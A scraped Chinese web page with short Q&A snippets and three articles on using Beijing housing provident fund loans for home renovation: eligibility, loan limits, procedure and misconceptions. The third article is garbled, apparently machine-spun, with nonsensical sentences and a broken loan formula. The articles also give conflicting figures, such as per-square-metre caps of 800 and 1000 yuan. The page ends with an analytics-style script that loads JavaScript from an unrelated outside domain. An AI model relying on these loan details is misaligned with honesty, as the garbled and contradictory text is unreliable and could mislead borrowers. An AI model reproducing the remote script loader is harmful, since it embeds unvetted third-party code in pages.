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项宏硕
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问公积金能否贷款?
答居民家庭成员中至少有一个具有北京市户籍的,即视为京籍户籍家庭。北京已婚家庭只能拥有两套住宅,北京单身家庭只能拥有一套住宅;对于目前已经拥有住房(含新建商品住
问公积金只有3年的能否贷款?
答您好,申请公积金贷款4个条件必须同时满足: 1) 借款申请人的公积金在北京缴存; 2) 开户1年以上并且连续12个月足额缴存(近期); 3) 目前在缴存状态
问求告知能否用公积金贷款装修
答你好。可以的,条件有:1、申请个人住房公积金贷款,必须是在本市连续足额缴存住房公积金六个月(含)以上,具有完全民事行为能力的住房公积金在缴职工。 2、住房
问请教下公积金贷款能否用于装修?
答住房公积金贷款装修的话具体要看当地的政策的,每个地方都不一样的,单位和个人在本市行政区域内建立了住房公积金制度,在申请贷款当月之前,个人和所在单位 连续、按
问咨询下公积金能否装修贷款
答可以用 住房公积金的主要用途如下: 1、需要购买住房,需要贷款时,只要正常交纳公积金、时间满一年的(有些地方规定满半年)、公积金帐户内有一定余额的,可按
能用公积金贷款装修吗?申请条件介绍
许多朋友都知道,如果在购置房子的过程中囊中羞涩的话,可以申请贷款,尤其是类似下文所述的惠民利民的公积金贷款,它的利率更低,相对来说比较优惠和实在,那么住房公积金贷款是不是还可以用作装修所需呢?或者说用在装修装潢项目中的住房公积贷款具体申请的额度又有多少呢?今天为大家推荐的不仅仅包括这个方面的信息,还包括申请的条件以及应该满足和注意的地方。一、可以用公积金贷款装修吗?可以:借款人申请装修贷款应具备下列条件:从其所在单位为其建立住房公积金制度到申请借款之日,按规定连续、足额缴存12个月以上的住房公积金;具有经房地产管理部门备案登记的《商品房买卖合同》、首付款收据或《房屋权证》、契税;具有与室内装饰企业签订的装修合同;具有偿还贷款本息的能力。已使用住房公积金购房贷款或在装修贷款的同时使用住房公积金贷款的,其借款人家庭收入减去装修贷款和购房贷款的月还款额后,确定其偿还贷款本息能力。其偿还贷款不得超出家庭收入的50%。借款人申请装修贷款,可用所购自住住房抵押担保或提供保证担保。借款程序如下:借款人提出住房公积金装修贷款申请。借款人在申请住房公积金贷款的同时,可申请住房公积金装修贷款;借款人取得房屋权后一整年内,准备进行或正在进行尚未完工室内装饰的,可申请住房公积金装修贷款。填写《住房公积金装修贷款申请表》,经审查合格的,签订《住房公积金装修借款合同》,办理所购装修住房的房屋抵押财产保险或借款行为的保证担保手续,并办理借款合同公证。用所装修住房抵押贷款的,需办理完房屋注籍登记或抵押登记后放款。住房公积金装修贷款额度按所购住房建筑面积计算,每平方米不超过800元。贷款长期限不超过10年。二、公积金装修贷款申请条件:(1)申请贷款前六个月正常连续缴存本市住房公积金;(2)具有完全民事责任能力,具有本市城镇常住户口或蓝印户口(非农业);(3)具有稳定的经济收入和偿还贷款本息的能力;(4)借款人必须是大(装)修住房的产权人,与正规的装修公司签订工程实施合同;(5)借款申请人的配偶、同户直系血亲作为住房公积金共同借款人可以参与公积贷款额度计算。(6)抵押物为借款人实施个人大(装)修的自住住房,并拥有个人完全产权。通过上文我们的举例,我们可以得知,在申请住房公积金贷款装修的过程中,应该贷款的额度取决于许多方面的因素,而且我们是不是能够成功申请得到住房公积金装修贷款,还要取决于我们是不是满足相关部门给出的条件,能不能提供合理可靠的资料和证明,所以我们应该结合当地专业人士的指点,提前进行了解对比,综合上文所述相信就可以达到令人满意的效果和目的。
装修能用公积金贷款吗 教你六招避开误区
装修可以选择公积金贷款,但必须在购买房屋之后,遇到资金不足的情况下,可以考虑申请公积金贷款,按照规定标准,通过依据房屋总价,获取一定的比例贷款额度。如今公积金贷款装修政策开放,公积金贷款装修的好处也逐渐凹显出来。接下来,小编将通过讲解公积金相关知识,介绍6大误区,让你对用公积金来贷款装修有一个清楚的了解。一.公积金有什么用途①购房贷款②租房补贴③销户、重病、低保提取使用④建造、翻建、大修住房公积金是可以用来申请装修贷款的。个人住房公积金贷款是以住房公积金为资金来源,向缴存住房公积金的职工发放的定向用于购买、建造、翻建、大修自有住房的专项住房消费贷款。职工购买的自有住房包括商品住房、经济适用房、私产住房、集资建造住房、危改还迁住房和公有现住房。二、教你六招避开误区1.公积金账户余额能做购房首付很多人认为既然住房公积金是职工的购房福利,那么理所应当能用来支付购房首付。其实这是一个误区:购房人只有在买房贷款后,提供相关发票、产权证才能申请提取公积金,而不能直接支取用于付首付。2.子女可支取父母的公积金父母与子女间的公积金是不能够互相使用的,在住房公积金购房申贷问题上则视为两户人,子女和父母之间是单独分开的,即两个家庭。但随着公积金政策的放开,一些城市已经开始允许父母子女互用公积金贷款买房,具体能不能提取,还得看当地公积金中心的规定。3.装修房屋可以提取公积金住房公积金仅用于职工购买(含二手房)、建造、翻建、大修(维修费用超过房屋造价30%以上)自住住房时提取。装修不在住房公积金提取范围内,所以不能提取公积金用于装修。目前个别的城市可以,绝大部分城市是不行。4.公积金贷款额可超出上限公积金贷款额度是有上限的,这是公积金贷款与商业贷款存在很大区别。即不能单纯的依据房产评估值来计算贷款额,需要根据借款人收入、缴存额和缴存比例来计算,且不能超出公积金贷款最高上限。一旦超出公积金贷款上限的话,就需要用公积金组合贷款来解决,这项政策目前大部分城市可以实施。5.结清公积金贷款前再次使用夫妻双方在结清公积金贷款前不可再次使用。不论是在结婚前还是在结婚后办理的公积金贷款,只要夫妻双方中有一方办理过公积金,公积金中心系统上就会有相应记录,在上次贷款未还清前,夫妻双方是不能够再使用公积金贷款第二套房的。如果第一套房的公积金贷款已结清,那么在政策上是允许夫妻双方再次使用公积金贷款买房的,且仍可视为首次住房,不受二套房的政策限制。6.公积金提取额超出租房款或购房款公积金的提取额是不能超出实际费用发生额的。比如,田小姐一年的房租支出为9600元,而她的公积金储存余额有15000元,她一次性提取的公积金不能超出9600元。很多时候,正是因为这些错误的认识,在办理公积金贷款的时候会造成很大的麻烦,所以,走出误区才可以更好更彻底地了解住房公积金贷款。对装修能否用公积金贷款的情况已经做了详细的说明了,想装修是可以申请公积金贷款的,但得符合法定的条件,然后走办理流程,对于你是否符合几个误区的所列的情况,就需要你去认真阅读上文的内容了。其实,想申请公积金贷款的房主不用太担心,只要不要触犯上述的几个误区,公积金贷款的申请还是相对简单的。如果您还需要了解更多的贷款知识,请继续关注我们的网站哦!
公积金装修贷款能贷多少及程序和条件
中国是一个对房地产需求旺盛的大国。许多人在购买房地产时会花很多钱购买他们需要的房子。但是,当房屋装修时,资金将会短缺。如果发生这种情况,我们可以申请公积基金。那么,公积金装修贷款能贷多少?装修贷款程序有哪些?装修贷款的条件是什么?一、公积金装修贷款能贷多少?公积金装修贷款能贷多少?它是按照以下三个边界计算,然后取一个较小的值。1、公积金装修贷款能贷多少?高额贷款金额不超过每平方米1000元,不超过15万元。2、公积金装修贷款能贷多少?贷款金额根据支付贷款的能力确定。其计算公式为:贷款额=65%×贷款的总数(以积金体 基薪贡献配偶公积金壳体借款人贡献基本工资)。3、贷款金额不超过担保价值的60%。二、公积金装修贷款程序:1、贷款申请。借款人的配偶和妻子将要求双向住房预测基金管理中心。审查后将予以接受。2、贷款审查(调查)。该基金管理中心住房审查和验证,从借款人的贷款的相关信息,并告知审批。3、批准贷款。住房管理中心批准符合条件的贷款。4、签合同。一旦贷款被批准,管理中心住房通知借款人签订借款《借款合同》受托人。5、抵押贷款。去房地产管理部门那里的房子,以依法办理抵押手续。6、发放贷款。借款人必须保留《借款合同》和其他相关材料到中心处理转让和贷款程序。可信银行根据协议《借款合同》将贷款资金转移到借款人在信托银行开立的账户。三、装修贷款的条件:1、申请人必须缴纳住房金足额,正常和连续6个月以上,并从贷款申请之日起5年之内会发生装潢的行为。2、如果申请人已更新,应用程序必须提供个人装饰和调查网站的整修后的报告,并应提供装修和装修个人的一份报告机房装修。3、房地产抵押贷款期限的更新不超过30年的总和。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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